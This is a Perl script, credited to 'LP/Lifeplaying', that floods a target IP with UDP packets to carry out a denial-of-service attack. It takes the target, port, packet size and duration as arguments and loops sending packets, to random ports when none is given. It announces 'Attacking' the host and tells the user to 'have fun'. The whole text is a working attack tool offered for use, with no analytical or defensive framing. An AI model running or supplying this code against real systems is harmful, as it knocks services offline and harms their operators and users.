Dos Perl script

#!/usr/bin/perl
#You can use the following commands :
#!/usr/bin/perl

##############################
# Lord Project ~ Scripty Dos #
##############################

use Socket;
use strict;

print "Usage: perl udpflood.pl [ip] [port] [packet] [seconds]\n";

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Attacking $ip " . ($port ? $port : "random") . " port with " .
  ($size ? "$size-byte" : "random size") . " packets" .
  ($time ? " for $time seconds" : "") . "\n";
print "Stop with Ctrl-C\n" unless $time;
print "This [D]DoS-Perl-Script was created by LP/Lifeplaying\n";
print "His pastebin: http://www.pastebin.com/u/tastylifeplaying\n";
print "His Facebook:  http://www.Facebook.com/vecmp/lifeplaying\n";
print "Have fun with the Motherfuckin script <3\n";

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}